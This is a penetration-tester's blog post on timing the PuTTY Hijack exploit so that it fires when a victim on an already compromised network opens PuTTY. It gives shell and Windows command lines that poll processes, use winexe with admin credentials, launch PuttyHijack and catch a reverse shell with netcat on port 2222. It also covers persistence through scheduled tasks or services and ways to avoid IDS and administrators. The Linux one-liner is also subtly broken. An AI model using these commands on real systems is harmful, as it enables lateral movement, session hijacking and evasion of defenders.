Don’t you just hate it when you’ve got that perfect exploit and the user just refuses to play ball. They’re never using the right application at the right time. It’s just so inconsiderate of them, and frankly, a waste of our time to be sitting and waiting for them all the time. All jesting aside, it’s a problem I’ve come across a few times when performing penetration tests, as I’m sure many people have. Sometimes you just can’t run a client-side exploit without an action from the client.
I was reading the excellent CarnalOwnage blog and came across a post about the newly released PuTTY Hijack tool from Insomnia. I’ve not had a chance to play with it myself as I’ve got a few other things on the boil right now. Including my SANS SEC:560 exam sometime in the next month. Anyway, back to the point. The PuTTY hijack tool relies on the user to be running a version of PuTTY at the time the exploit is run. Sounds straight forward, but as we’ll already covered, those users are never running on the same timescales we are.
To assist in using this tool at just the right time (i.e. when the user starts up PuTTY) you can use scripts to monitor the running processes until the user starts the software. Once the user opens the correct toolthe script can then kick off the client-side exploit and it’s game over. With this in mind I’ve created a couple small script (all at the command line) to check if a copy of PuTTY is running. Thee scripts can easily be changed to monitor for other processes as desired. That’s the beauty of scripts after all.
One of the downsides of having to monitor for specific processes is that you will need to already have local access to the remote system to run the script and check for an instance of PuTTY. If you want to run the monitoring remotely then you’re going to have to get local admin permissions as well. However getting admin permissions on the remote machine isn’t really the main point of this attack. The point is to use a client-side exploit to launch off from an already compromised system onto the next target, one that you don’t already have admin/root on.
To script up the attack you can do use a couple of different methods. If you’re worried about running a monitoring process on the already compromised box for any reason (the process or service could be discovered etc…) and would rather make some noise on the network instead, you can use the wmi-client (sudo apt-get install wmi-client under Debian style distros) or you can download a copy of winexe (if it’s not already installed by default) and do the monitoring remotely from a Linux system. The following command string connects to the remote server and grabs the list of running processes. It will continue to check for the process until somebody starts PuTTY on the remote box. It then kicks off a remote job to start a reverse shell back to your machine (netcat is automatically started to receive the connection on port 2222). As alreay mentioned, this method will require admin access to the remote system to perform the monitoring and kick off the attack program.
res="$(winexe -U DOMAIN/Administrator%Password //10.10.10.10 "wmic process list brief" | grep -i putty | grep -v grep | wc -l)"
&& while $result -eq 0 ]; do echo "PuTTY not running. Waiting 10 seconds before recheck"; sleep 10; done; nc -l -p 2222;
winexe -U DOMAIN/Administrator%Password //10.10.10.10 "/pathto/PuttyHijack 10.10.10.10 2222"
*This should all be on one line or in a shell script)
Given more time I’m sure somebody much more technically savvy than me (and a better programmer for sure) will come up with a better method of doing the same thing. Until then, this is better then nothing, or a good start depending on your opinions.
The other way to accomplish the same task is to run a similar monitoring job on the compromised Windows host. This will be easy to discover if the person is checking running processes or services on the machine. Then again, it will reduce the traffic compared to remote monitoring and the chances of been seen by IDS system or curious Network Engineer are reduced. It might also be your only option if you’re already tunneling through a number of pivot points on the way to the machine. It starts to get messy with all those netcat pivots points and backpipes after a while. The following 2 Windows commands should loop until putty.exe is seen and then kick off the puttyhijack program. How you run these is up to you. Options include AT command, Scheduled task or install it as a service using the SC command.
FOR /L %i in (1,0,2) do @wmic process list brief | findstr "putty.exe" && c:\pathto\PuttyHijack 10.10.10.10 2222 && exit
You can also fun the command using tasklist instead of WMIC on older boxes.
FOR /L %i in (1,0,2) do @tasklist| findstr "putty.exe"&& c:\pathto\PuttyHijack 10.10.10.10 2222 && exit
You can always tag on further commands to run once a putty session is seen. Everything before the exit is run once the task is found as as long as the findstr command fails (i.e. finds nothing) then it will fail the check made by the && (only run if previous command succeeds). Have fun with it, and let me know if you make anything good out of it 😉
All props to the CarnalOwnage blog for initially bringing this to my attention and Ed Skoudis for the Command Line KungFu. Without it, you’re just bait…
Cатсн²² (in)sесuяitу / ChrisJohnRiley 